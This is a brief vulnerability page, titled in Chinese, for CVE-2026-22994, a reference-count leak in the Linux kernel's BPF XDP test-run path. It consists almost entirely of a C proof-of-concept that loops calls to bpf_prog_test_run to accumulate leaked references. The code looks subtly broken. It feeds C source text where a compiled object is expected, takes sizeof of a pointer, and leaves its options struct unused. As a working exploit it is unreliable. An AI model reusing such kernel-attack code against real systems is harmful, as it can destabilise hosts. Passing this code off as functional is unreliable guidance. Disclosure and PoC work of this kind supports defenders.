CVE-2026-22994: Linux内核BPF bpf_prog_test_run_xdp()引用计数泄漏漏洞

// CVE-2026-22994 PoC - Reference Count Leak in bpf_prog_test_run_xdp() // This PoC demonstrates triggering the reference count leak via BPF XDP test #include <stdio.h> #include <stdlib.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> #include <linux/bpf.h> #include <linux/if_link.h> #include <unistd.h> // BPF program for XDP test static const char *bpf_prog_xdp = "\n" "SEC(\"xdp\")\n" "int xdp_test_func(struct xdp_md *ctx)\n" "{\n" " return XDP_PASS;\n" "}\n"; int main(int argc, char **argv) { struct bpf_object *obj = NULL; struct bpf_program *prog = NULL; int prog_fd, ifindex; struct bpf_test_run_opts opts = {0}; __u32 duration = 0; // Create XDP program obj = bpf_object__open_mem(bpf_prog_xdp, sizeof(bpf_prog_xdp), NULL); if (!obj) { perror("bpf_object__open_mem failed"); return -1; } // Load the program if (bpf_object__load(obj) < 0) { perror("bpf_object__load failed"); return -1; } prog = bpf_object__find_program_by_name(obj, "xdp_test_func"); prog_fd = bpf_program__fd(prog); // Trigger the vulnerability by running test with crafted data // that causes error path in xdp_convert_buff_to_md() opts.sz = sizeof(opts); opts.data_in = NULL; // Trigger error path opts.data_size_in = 0; // Repeatedly trigger to accumulate leaked reference counts for (int i = 0; i < 100; i++) { bpf_prog_test_run(prog_fd, 1, NULL, 0, NULL, NULL, NULL, &duration); usleep(1000); } printf("Reference count leak triggered. Check for unregister_netdevice errors.\n"); return 0; }